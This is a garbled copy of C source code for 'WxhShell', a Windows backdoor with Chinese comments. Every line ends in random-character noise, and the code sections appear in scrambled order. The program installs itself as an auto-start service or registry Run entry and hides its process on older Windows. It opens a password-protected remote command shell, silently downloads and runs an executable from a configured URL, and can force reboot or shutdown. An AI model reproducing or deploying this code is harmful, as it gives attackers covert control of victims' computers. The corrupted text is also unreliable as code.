    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0s!';g Q  
    else { {1;R&  
    closesocket(wsh); p6X-P%s  
    ExitThread(0); !:wA\mAd  
    } *Xl,w2@  
    break; kp3%"i&hD  
    } 'h87 A-\!F  
  // 获取shell b_Dd$NC  
  case 's': { /Ref54  
    CmdShell(wsh); N|e#&  
    closesocket(wsh); ?/q\S  
    ExitThread(0); 4o|<zn  
    break; UvF5u(o  
  } mqK}y K^P]  
  // 退出 @!Rklhb  
  case 'x': { N?2C*|%f  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u'; 9zk/$  
    CloseIt(wsh); ./35_Vy/O  
    break; 5tl( $j  
    } Q 6n!u;  
  // 离开 3IG<Ot9  
  case 'q': { "A]#KTP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); yJ4ZB/ZQ  
    closesocket(wsh); L*FQ`:lZ  
    WSACleanup(); X/ lmj_v  
    exit(1); tID=I0D  
    break; "\+.S]~  
        } 6d(D >a  
  } I8f='  
  } C`=YGyj=TL  
apgR[=Oy  
  // 提示信息 [`kk<$=,&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w+u1"  
} NwyNl  
  } L;-V Yo#  
an2Yluc;  
  return; m "96%sB  
} 8d7 NESYl  
Y_<-.?jf  
// shell模块句柄 ;EQ7kuJQ?  
int CmdShell(SOCKET sock) x c]#8K  
{ 8"}8Nrb0  
STARTUPINFO si; 8.:WMH`  
ZeroMemory(&si,sizeof(si)); Y@Ur}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e'MW"uCP}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o Vpq*"  
PROCESS_INFORMATION ProcessInfo; qTSe_Re  
char cmdline[]="cmd"; m/3,;P.6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #$ 4g&8  
  return 0; saTS8p z  
} ^yX>^1  
S,x';"  
// 自身启动模式 HR ;I}J 9  
int StartFromService(void) hp`ZmLq/[  
{ @`qB[<t8:<  
typedef struct SBI *[  
{ @b!W8c 6  
  DWORD ExitStatus; *-*SCA`E^=  
  DWORD PebBaseAddress; [RF6mWQ  
  DWORD AffinityMask; ~jzjJ&O&  
  DWORD BasePriority; OT0IGsJ"'  
  ULONG UniqueProcessId; }T-'""*  
  ULONG InheritedFromUniqueProcessId; 6{quO# !  
}   PROCESS_BASIC_INFORMATION; ~dk97Z8  
qw 03]a  
PROCNTQSIP NtQueryInformationProcess; ~F8xXW0  
pxn@rN#*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !;;7:!)P  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; < 0YoZSNGj  
f] _'icP  
  HANDLE             hProcess; 0xY</S  
  PROCESS_BASIC_INFORMATION pbi; pzZ+!d  
=*R6 O,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _+.JTk  
  if(NULL == hInst ) return 0; q ~^!Ck+#*  
[{`2FR:Cd  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q' Tg0,,S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m VFo2^%v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BOWBD@y  
<_c8F!K)T  
  if (!NtQueryInformationProcess) return 0; bObsj]  
Nz}PcWF/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d^f rKPB  
  if(!hProcess) return 0; *%Fu/  
5+Ao.3Xn  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Gt+rVJ=v  
&%%ix#iF  
  CloseHandle(hProcess); 5YneoM]Q  
>7PNl\=gG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K?Sy ?Kz  
if(hProcess==NULL) return 0; - AU{Y`j  
u HW'F(;  
HMODULE hMod; '/)qI.  
char procName[255]; e^'|<0J  
unsigned long cbNeeded; i\O^s ]  
)*`h)`\y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x[0O*ty-*<  
RD46@Q`  
  CloseHandle(hProcess); {xH?b0>  
~Hu!iZ2]  
if(strstr(procName,"services")) return 1; // 以服务启动 ]T'7+5w  
T2 S fBs  
  return 0; // 注册表启动 VFzIBgJ3  
} I]DD5l}\  
g+5c"Yk+u~  
// 主模块 LM+d3|gSV  
int StartWxhshell(LPSTR lpCmdLine) C}(@cn `L  
{ Y%eq2%  
  SOCKET wsl; kIX1u<M~  
BOOL val=TRUE; s<rV1D  
  int port=0; Svb>s|D  
  struct sockaddr_in door; tJ 2GSZ`  
tJybR"NQ  
  if(wscfg.ws_autoins) Install(); h[&"KA  
`<7!Rh,tS^  
port=atoi(lpCmdLine); Ij$C@hH  
T@Y, 7ccpd  
if(port<=0) port=wscfg.ws_port; yYaoA/0  
G[`1Yw$  
  WSADATA data; o+B)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @Ns[qn;9  
kY @(-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z DU=2c4W9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); loO"[8i.k  
  door.sin_family = AF_INET; 6JDaZh"=K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n_3 R Q6  
  door.sin_port = htons(port); JXM]tV  
hHGuD2%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DY9]$h*y  
closesocket(wsl); OZ+v ~'oD  
return 1;  ?C#E_  
} ~MBPN 4r  
\+l*ZNYM3  
  if(listen(wsl,2) == INVALID_SOCKET) { Yj#tF}nPC  
closesocket(wsl); NcP/W>lN  
return 1; tAF?. \x"g  
} 7 @ )  
  Wxhshell(wsl); OQ7 `n<I<)  
  WSACleanup(); ! 5NuFLOf  
8AX_y3$  
return 0; :n QlS  
]"lB!O~  
} 7jgj;%  
 m1U:&{:^  
// 以NT服务方式启动 Rd&DH_<+^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ](A2,F 9(U  
{ T*f/M  
DWORD   status = 0; >WIc"y.  
  DWORD   specificError = 0xfffffff; xbm%+  
]S%(l,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l6y}>]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W3:Fw6v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nuXL{tg6  
  serviceStatus.dwWin32ExitCode     = 0; 0] kKF<s  
  serviceStatus.dwServiceSpecificExitCode = 0; sl `jovT[Y  
  serviceStatus.dwCheckPoint       = 0; p,goYF??  
  serviceStatus.dwWaitHint       = 0; lQ-<T<g  
Jsysk $R  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  L23}{P  
  if (hServiceStatusHandle==0) return; w?8SQI,~X  
;~EQS.Qp  
status = GetLastError(); 5$: toL  
  if (status!=NO_ERROR) EU%,tp   
{ 1|(Q|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y=Kqv^  
    serviceStatus.dwCheckPoint       = 0; t/\   
    serviceStatus.dwWaitHint       = 0; ?B1Zfu0  
    serviceStatus.dwWin32ExitCode     = status; pA6KiY&  
    serviceStatus.dwServiceSpecificExitCode = specificError; !g9k9 l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); V}Y*Yv  
    return; E4L?4>V@\  
  } ]7O<|8n!d  
W&IG,7tr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W n'a'  
  serviceStatus.dwCheckPoint       = 0; 4"|Xndh1.  
  serviceStatus.dwWaitHint       = 0; N-\N\uN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :<t=??4m  
} MLu!8dgI  
W<r<K=`5P  
// 处理NT服务事件,比如:启动、停止 >ESVHPj]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #*'Qm  A  
{ Dz(\ ?  
switch(fdwControl) S^eem_C  
{ y|2<Vc  
case SERVICE_CONTROL_STOP: x,!Dd  
  serviceStatus.dwWin32ExitCode = 0; (?fU l$q\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +e-F`k  
  serviceStatus.dwCheckPoint   = 0; x#J9GP.  
  serviceStatus.dwWaitHint     = 0; gSz<K.CT  
  { x9"Cm;H%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H OR8Jwf:  
  } 9{*{Ba  
  return; P.'.KZJ:WD  
case SERVICE_CONTROL_PAUSE: @up,5`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %.Ma_4o Z  
  break; rm8Ys61\=  
case SERVICE_CONTROL_CONTINUE: +;?mg(:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m&:&z7^p  
  break; SM2Lbfp!u  
case SERVICE_CONTROL_INTERROGATE: mGjB{Q+  
  break; tWIs |n  
}; 9 {&g.+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HIXAA?_eh=  
} JWix Y/  
^#Ha H  
// 标准应用程序主函数 7k( }U_v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) An{>39{  
{ /MGapmqV9  
]JrD@ Vy  
// 获取操作系统版本 ~U0%}Bbh  
OsIsNt=GetOsVer(); Qt>K{ >9Cf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l88=  
2R[v*i^S  
  // 从命令行安装 a!9'yc  
  if(strpbrk(lpCmdLine,"iI")) Install(); b=,B Le\  
mn7I# ~  
  // 下载执行文件 R2,9%!iiX  
if(wscfg.ws_downexe) { m+<&NDj.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Mu\V3`j  
  WinExec(wscfg.ws_filenam,SW_HIDE); T/_u;My;  
} ppyy0E^M  
rwRZGd *p  
if(!OsIsNt) { ^dI;B27E*  
// 如果时win9x,隐藏进程并且设置为注册表启动 CS7b3p!I  
HideProc(); CO wcus  
StartWxhshell(lpCmdLine); VeGSr  
} (?jK|_  
else 2~kx3` Q  
  if(StartFromService()) ^kKLi  
  // 以服务方式启动 )9YDNVo*-  
  StartServiceCtrlDispatcher(DispatchTable); ZnEgU}g<2  
else V<QpC5  
  // 普通方式启动 b^/u9  
  StartWxhshell(lpCmdLine); )|~&(+Q?]  
}r: "X<`  
return 0; |_;kQ(,  
} Kh]es,$D  
D+]mKPB  
q+?&w'8  
a*P v^Np-v  
=========================================== /Q1 b%C  
_3`G ZeGV  
UPhO =G  
*k{Llq  
h`&TDB2  
Kxsd@^E  
" MntmBj-T  
SZWNN#w60?  
#include <stdio.h> 2(eO5.FYF  
#include <string.h> JtFq/&{i  
#include <windows.h> Y&6jFT_  
#include <winsock2.h> {7:1F)Pj  
#include <winsvc.h> Y25`vE(  
#include <urlmon.h> D!`[fjs6A  
ef)RlzL Oq  
#pragma comment (lib, "Ws2_32.lib") xV> .]  
#pragma comment (lib, "urlmon.lib") ht -'O"d:  
REh"/d  
#define MAX_USER   100 // 最大客户端连接数 5U2%X pO   
#define BUF_SOCK   200 // sock buffer Et0gPX-  
#define KEY_BUFF   255 // 输入 buffer '.v;/[0  
-wn-PB@r  
#define REBOOT     0   // 重启 G4|C227EO  
#define SHUTDOWN   1   // 关机 {sw|bLo|+  
0~nX7  
#define DEF_PORT   5000 // 监听端口 S Qmn*CW  
{!I`EN]  
#define REG_LEN     16   // 注册表键长度 OxJ HhF  
#define SVC_LEN     80   // NT服务名长度 o,i_py  
fbApE  
// 从dll定义API f7&ni#^Ztj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); GgpE"M?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fzJiW@-T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @/#G2<Vp1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]3v)3Wp  
u>'0Xo9R  
// wxhshell配置信息 +3))G  
struct WSCFG { ]xS%E r  
  int ws_port;         // 监听端口 <aPZE6z  
  char ws_passstr[REG_LEN]; // 口令 a j?ZVa6  
  int ws_autoins;       // 安装标记, 1=yes 0=no ] 9QXQH  
  char ws_regname[REG_LEN]; // 注册表键名 ;6 V~yB  
  char ws_svcname[REG_LEN]; // 服务名 C6>_ wl]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G? SPz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _{o 3y"DZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !!.@F;]W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jZ~girA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o6u^hG6~'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Mc?_2<u-  
3Dr\ O_`u  
}; )v(rEY  
"-:H$  
// default Wxhshell configuration ,zjz "7'  
struct WSCFG wscfg={DEF_PORT, %p\ ~  
    "xuhuanlingzhe", Aw7N'0K9UN  
    1, $?ss5: S  
    "Wxhshell", u&*[   
    "Wxhshell", ~=yU%5 s@  
            "WxhShell Service", }oD^tU IK  
    "Wrsky Windows CmdShell Service", 61_PSScSY  
    "Please Input Your Password: ", Ja1`S+  
  1, MgiW9@_(  
  "http://www.wrsky.com/wxhshell.exe", TFHYB9vV  
  "Wxhshell.exe" J{4=:feIC?  
    }; ZKI8x1>Iq  
Q%6zr9  
// 消息定义模块 D&fOZVuqZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >FeCa h Fn  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 56Lxr{+X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; EuHQp7  
char *msg_ws_ext="\n\rExit."; %0&,_jM/9  
char *msg_ws_end="\n\rQuit."; )7NK+k  
char *msg_ws_boot="\n\rReboot..."; VK/L}^=GOO  
char *msg_ws_poff="\n\rShutdown..."; U9BhtmY  
char *msg_ws_down="\n\rSave to "; %]F/!n  
6 (7 56  
char *msg_ws_err="\n\rErr!"; J[}j8x?r  
char *msg_ws_ok="\n\rOK!"; /\,3AInLb  
7jw+o*;  
char ExeFile[MAX_PATH]; uBG!R#T  
int nUser = 0; mBL?2~M  
HANDLE handles[MAX_USER]; g8/ ,E-u  
int OsIsNt; eJf]"-  
8A0a/ 7Lj  
SERVICE_STATUS       serviceStatus; wtbN @g0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; rrC\4#H[??  
"7-}#_!g  
// 函数声明 w!`e!}  
int Install(void); BuvnY  
int Uninstall(void); ~"*W;|)  
int DownloadFile(char *sURL, SOCKET wsh); ~APS_iG[  
int Boot(int flag); ShQ!'[J  
void HideProc(void); +6:  
int GetOsVer(void); oHfr glGX  
int Wxhshell(SOCKET wsl); #)L}{mHLM-  
void TalkWithClient(void *cs); WXo bh  
int CmdShell(SOCKET sock); 5ms]Wbh)  
int StartFromService(void); +L=Xc^  
int StartWxhshell(LPSTR lpCmdLine); E 6#/@C,  
\hBzQ%0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y.( <  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gDJ} <^  
InL_JobE8r  
// 数据结构和表定义 SP<(24zdd  
SERVICE_TABLE_ENTRY DispatchTable[] = IPTFx )]G  
{ `#ff`j|a  
{wscfg.ws_svcname, NTServiceMain}, jBEW("4R  
{NULL, NULL} Z6b]EcP)#  
}; D\;5{,:d  
g'!"klS93  
// 自我安装 ?}KD<R  
int Install(void) J>M9t%f@  
{ \>9^(N  
  char svExeFile[MAX_PATH]; l_;6xkv4  
  HKEY key; %INkuNa8\  
  strcpy(svExeFile,ExeFile); "C3J[) qC  
P];0,;nF  
// 如果是win9x系统,修改注册表设为自启动 r?~_^  
if(!OsIsNt) { J3'q.Pc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UFZOu%Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "1\GU1x  
  RegCloseKey(key); -k:x e:$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,yp#!gE~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @8w[Zo~  
  RegCloseKey(key); 'pUJREb  
  return 0; 8 mOGEx  
    } xVYa-I[Z  
  } Z0M,YSnz  
} iW2\;}y  
else { #I MaN%  
v2r|) c,h  
// 如果是NT以上系统,安装为系统服务 wQ/.3V[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z&c}  
if (schSCManager!=0) Qe!3ae`Z  
{ *qYw  
  SC_HANDLE schService = CreateService )n<p_vz  
  ( o&M.9V?~~  
  schSCManager, _PGd\>Ve  
  wscfg.ws_svcname, W!"QtEJ,  
  wscfg.ws_svcdisp, V$FZVG/@#  
  SERVICE_ALL_ACCESS, NB44GP1-@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +BO kHXk1  
  SERVICE_AUTO_START, T#6g5Jnsp  
  SERVICE_ERROR_NORMAL, Kwm_Y5`A  
  svExeFile, X. Ur`X  
  NULL, LN.*gG l  
  NULL, EUh_`R  
  NULL, x|AND]^Q  
  NULL, .nNZ dta&=  
  NULL MSBrI3MqQ  
  ); mJ(ElDG  
  if (schService!=0) 7;Lv_Y"b  
  { Xf"< >M  
  CloseServiceHandle(schService); O8>&J-+2  
  CloseServiceHandle(schSCManager); raSga'uT;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +84 p/ B#  
  strcat(svExeFile,wscfg.ws_svcname); k;JDVRL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k{S8q?Gc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gm-9 oA X  
  RegCloseKey(key); X!ldL|Ua%  
  return 0; )}"`$6:k`  
    } \b6{u6?+  
  } *"Iz)Xzc`  
  CloseServiceHandle(schSCManager); D vU1+ y  
} hbr3.<o1lY  
}  y<m[9FC}  
]t&^o**  
return 1; 3G<4rH]  
} @PLJ)RL  
H2Z e\c  
// 自我卸载 8sBT&A6&j  
int Uninstall(void) ,uNJz-B8  
{ \et2aX !  
  HKEY key; 0WKS  
4^YE*6z  
if(!OsIsNt) { cX4]ViXSr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K1R?Qt,qDF  
  RegDeleteValue(key,wscfg.ws_regname); {_Ll'S  
  RegCloseKey(key); G9am}qr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oD9L5c)  
  RegDeleteValue(key,wscfg.ws_regname); A n`*![  
  RegCloseKey(key); CCt\[hl  
  return 0; <]DUJuF-M  
  } j_h:_D4  
} fE)o-q6Z  
} 6ce-92n  
else { z$d<ep{6  
\o72VHG66  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h 6?Z  
if (schSCManager!=0) XR[=W(m}  
{ I S'Uuuz7g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ol h{<~Fv  
  if (schService!=0) '|yCDBu  
  { @OFxnF`  
  if(DeleteService(schService)!=0) { X6(s][Wn  
  CloseServiceHandle(schService);  \G)F*  
  CloseServiceHandle(schSCManager); u8%X~K\  
  return 0; h~CLJoK<  
  } .,#H]?Wil  
  CloseServiceHandle(schService); j`$$BVZ  
  } .L"IG=Uh#  
  CloseServiceHandle(schSCManager); $)X8'1%6  
} u3,O)[qV  
} Uey'c1  
]e7?l/N[  
return 1; L@zhbWY  
} E]m?R 4  
aHYISjZ]>  
// 从指定url下载文件 `F&~SU,  
int DownloadFile(char *sURL, SOCKET wsh) *TI?tD  
{ `]@=Hx(  
  HRESULT hr; y5O &9Ckw  
char seps[]= "/"; 79d(UG'O  
char *token; PXJ7Ek*/  
char *file; WK7?~R%rq  
char myURL[MAX_PATH]; 7OG:G z+)x  
char myFILE[MAX_PATH]; g3{UP]Z71  
gVR]z9  
strcpy(myURL,sURL); O1t$]k:  
  token=strtok(myURL,seps); kcg\f@d$  
  while(token!=NULL) `=,emP&(H&  
  { M;OMsRCVO  
    file=token; s/C'f4  
  token=strtok(NULL,seps); LGW_7&0<<  
  } <m1v+cnqo  
-MTYtw(  
GetCurrentDirectory(MAX_PATH,myFILE); K r|.I2?"  
strcat(myFILE, "\\"); `JPkho  
strcat(myFILE, file); Vq{3:QBR  
  send(wsh,myFILE,strlen(myFILE),0); $6D* G-*8  
send(wsh,"...",3,0); (*Q:'2e  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K5XW&|tY!  
  if(hr==S_OK) Av5:/c.B  
return 0; MpZ\ j  
else Vr( Z;YO  
return 1; 'x"(OdM:[  
2=0HQXXrq  
} 8=joVbs  
udLIAV*  
// 系统电源模块 u-4@[*^T$  
int Boot(int flag) DC-d@N+  
{ CAs:>s '8  
  HANDLE hToken; a\}MJ5]  
  TOKEN_PRIVILEGES tkp; H, :]S-T  
c>^(=52Q  
  if(OsIsNt) { '/@wk#,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &TA{US3~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 650qG$  
    tkp.PrivilegeCount = 1; ?8GS*I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HDZl;=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); PRTjXq6)5  
if(flag==REBOOT) { 324XoMO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &g^*ep~|#  
  return 0; <.gDg?'3  
} GfEWms8z  
else { p e+h8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GbL1<P$V  
  return 0; ) =29Hm"  
} rZaO^}u]  
  } Z f\~Cl  
  else { +s"6[\H1d  
if(flag==REBOOT) { S**eI<QFSk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @v#P u_  
  return 0; \i%mokfbc  
} :Ez, GAk  
else { $#u'XyA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5ct&fjmR_  
  return 0; )rG4Nga5}  
} PzNPwd  
} G--X)h-  
15<? [`:6  
return 1; Y-YuY  
} g""GQeR  
E8}evi  
// win9x进程隐藏模块 bG@2f"  
void HideProc(void) }F_c0zM  
{ KbvMp1'9P  
Z CPUNtOl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fTvm2+.nX  
  if ( hKernel != NULL ) X V;j6g  
  { `a|&aj0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V<H9KA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); TxP +?1t  
    FreeLibrary(hKernel); ^sLx3a  
  } "W(Ae="60  
+W*~=*h|  
return; y@!o&,,mq  
} uy3<2L#.  
wAprksZL#  
// 获取操作系统版本 &gY) x{  
int GetOsVer(void) sEdz`F  
{ PKSfu++Z  
  OSVERSIONINFO winfo; 4#03x:/<\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =ZIT!B?4  
  GetVersionEx(&winfo); f=R+]XPzz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gaY&2  
  return 1; >dt*^}*  
  else Ms(xQ[#+  
  return 0; gK[;"R)4o@  
} J}X{8Ds9  
V<0iYi;4=  
// 客户端句柄模块 CPP~,E_  
int Wxhshell(SOCKET wsl) 0Lxz?R x]<  
{ 8v& \F  
  SOCKET wsh; rXX>I;`&  
  struct sockaddr_in client; D'#Q`H  
  DWORD myID; P)=.D u)  
Lau@HYW0  
  while(nUser<MAX_USER) ZLv/otf:|"  
{ vv @m{,7#Y  
  int nSize=sizeof(client); .="X vVdkp  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fq6%@M~  
  if(wsh==INVALID_SOCKET) return 1; xZ9:9/Vg  
n_e'n|T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?W'p&(;  
if(handles[nUser]==0) 3N+lWuE}K  
  closesocket(wsh); 7R2O[=Szq  
else ,94<j,"  
  nUser++; zzQWHg]/  
  } :;7I_tb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fo@^=-4A-  
pD732L@q  
  return 0; 9RaO[j`  
} y!77gx?-  
A]/o-S_  
// 关闭 socket { :tO RF  
void CloseIt(SOCKET wsh) J/?Nf2L4  
{ 2nd n8_l  
closesocket(wsh); G:=hg6 '  
nUser--; c~Ka) dF|  
ExitThread(0); my.EvN  
} #dA$k+3  
I9*cEZ!l=e  
// 客户端请求句柄 n~*".ZC'Y  
void TalkWithClient(void *cs) %X{EupiFA  
{ 8-#%l~dr  
fe?Z33V  
  SOCKET wsh=(SOCKET)cs; }~XWtWbd-  
  char pwd[SVC_LEN]; HgF;[rq3Q  
  char cmd[KEY_BUFF]; Zh<;r;2  
char chr[1]; iEr,ly  
int i,j; []>'Dw_r  
\2i7\U  
  while (nUser < MAX_USER) { #&&T1;z"#  
_>;Wz7  
if(wscfg.ws_passstr) { !Lf<hS^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V)`2 Kw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _IDZ.\'>$  
  //ZeroMemory(pwd,KEY_BUFF); pN%&`]Wev  
      i=0; N4!`iS Y  
  while(i<SVC_LEN) { &v{Ehkr*  
zH8E,)  
  // 设置超时 7~/cz_  
  fd_set FdRead; %z><)7  
  struct timeval TimeOut; iQwQ5m!d &  
  FD_ZERO(&FdRead); yGZsNd {a&  
  FD_SET(wsh,&FdRead); S(Yd.Sp  
  TimeOut.tv_sec=8; *U?O4E9  
  TimeOut.tv_usec=0; NB"S ,\M0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S\ k<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e3?=1ZB  
:]^e-p!z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ej(J j\  
  pwd=chr[0]; :HkBP90o  
  if(chr[0]==0xd || chr[0]==0xa) { +&Ld` d!n  
  pwd=0; tgK I  
  break; '$K E= Jy  
  } dj0; tQ=C  
  i++; tMIYVHGy  
    } ]A#lV$  
!>8~R2  
  // 如果是非法用户,关闭 socket RK>Pe3<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K7+yU3  
} WSkGVQu  
h+f>#O+:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0B NLTRv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xt{'Be&Ya+  
+L(amq;S  
while(1) { &NE e-cb[  
EdJL&*  
  ZeroMemory(cmd,KEY_BUFF); )D)5 `n)  
^QB[;g.O  
      // 自动支持客户端 telnet标准   D6sw"V#  
  j=0; p*Bty@CRi  
  while(j<KEY_BUFF) { 7|P kc(O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U@lc 1#  
  cmd[j]=chr[0]; *sho/[~_  
  if(chr[0]==0xa || chr[0]==0xd) { ^URCnJ67Se  
  cmd[j]=0; mP(3[a_Q  
  break; (C2 XFg_  
  } BT$p~XB  
  j++; n/H OP  
    } 0J)s2&H  
KhCP9(A=Qo  
  // 下载文件 v<qh;2  
  if(strstr(cmd,"http://")) { '=\}dav!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I$n= >s  
  if(DownloadFile(cmd,wsh)) d"$8-_K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "n-'?W!  
  else S;Bk/\2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :QCL9QZ'  
  } THA9OXP  
  else { hGRj  
XC4Z,,ah"  
    switch(cmd[0]) { ,g`%+s7u  
  c}x1-d8  
  // 帮助 X'9.fKp  
